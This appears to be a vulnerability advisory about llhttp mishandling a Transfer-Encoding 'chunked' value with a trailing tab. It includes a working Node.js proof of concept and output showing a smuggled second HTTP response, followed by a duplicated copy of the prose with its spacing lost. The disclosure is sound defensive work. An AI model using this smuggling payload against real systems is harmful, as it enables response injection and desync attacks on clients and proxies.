RFC 9110 §5.6.3 requires trailing OWS (SP or HTAB) to be stripped before a field value is
interpreted. header_value_te_chunked_last accepts SP but not HTAB, so chunked\t falls through
to header_value_te_token and into the generic fallback: F_TRANSFER_ENCODING is set, F_CHUNKED
is not. The message is then framed close-delimited and the chunk framing is handed to the
application as body bytes.
Responses only. On requests the value reaches forbidAfterChunkedInRequest and errors, unless
lenient_transfer_encoding is set.
PoC
const http = require('http'), net = require('net');
const RESP =
'HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\t\r\n\r\n' + // note the trailing TAB
'5\r\nhello\r\n0\r\n\r\n' + // a complete chunked body
'HTTP/1.1 200 OK\r\nContent-Length: 9\r\n\r\nINJECTED!'; // a second, separate response
const origin = net.createServer(c =>
c.once('data', () => { c.write(RESP); setTimeout(() => c.end(), 100); }));
origin.listen(0, () => http.get({ port: origin.address().port }, res => {
let body = '';
res.on('data', c => body += c);
res.on('end', () => {
console.log("res.headers['transfer-encoding'] =", JSON.stringify(res.headers['transfer-encoding']));
console.log('res.complete =', res.complete);
console.log('body =', JSON.stringify(body));
origin.close();
});
}));
res.headers['transfer-encoding'] = "chunked"
res.complete = true
body = "5\r\nhello\r\n0\r\n\r\nHTTP/1.1 200 OK\r\nContent-Length: 9\r\n\r\nINJECTED!"
Node trims the tab before exposing the header, so the application sees transfer-encoding: chunked
and complete: true while llhttp framed the message as identity. rawHeaders carries the same
trimmed value, so the discrepancy is not observable through any public API. The second response is
delivered as body content.
The same bytes, parsed with the tab stripped, yield a different message count:
tab NOT stripped (llhttp): headers_complete chunked=0 keepalive=0 body(62) '5\r\nhello\r\n0\r\n\r\nHTTP/1.1 200 OK...'
tab stripped: headers_complete chunked=1 keepalive=1 body(5) 'hello' message_complete
headers_complete status=200 content_length=9 body(9) 'INJECTED!' message_complete
One message versus two, so an llhttp consumer sharing a byte stream with an OWS-trimming peer
disagrees about where the response ends. keepalive=0 limits this to the connection llhttp owns;
the application still receives attacker-chosen bytes as the body of a response it believes is
chunked.
RFC 9110 §5.6.3 requires trailing OWS (SP or HTAB) to be stripped before a field value is
interpreted.
header_value_te_chunked_lastaccepts SP but not HTAB, sochunked\tfalls throughto
header_value_te_tokenand into the generic fallback:F_TRANSFER_ENCODINGis set,F_CHUNKEDis not. The message is then framed close-delimited and the chunk framing is handed to the
application as body bytes.
Responses only. On requests the value reaches
forbidAfterChunkedInRequestand errors, unlesslenient_transfer_encodingis set.PoC
Node trims the tab before exposing the header, so the application sees
transfer-encoding: chunkedand
complete: truewhile llhttp framed the message as identity.rawHeaderscarries the sametrimmed value, so the discrepancy is not observable through any public API. The second response is
delivered as body content.
The same bytes, parsed with the tab stripped, yield a different message count:
One message versus two, so an llhttp consumer sharing a byte stream with an OWS-trimming peer
disagrees about where the response ends.
keepalive=0limits this to the connection llhttp owns;the application still receives attacker-chosen bytes as the body of a response it believes is
chunked.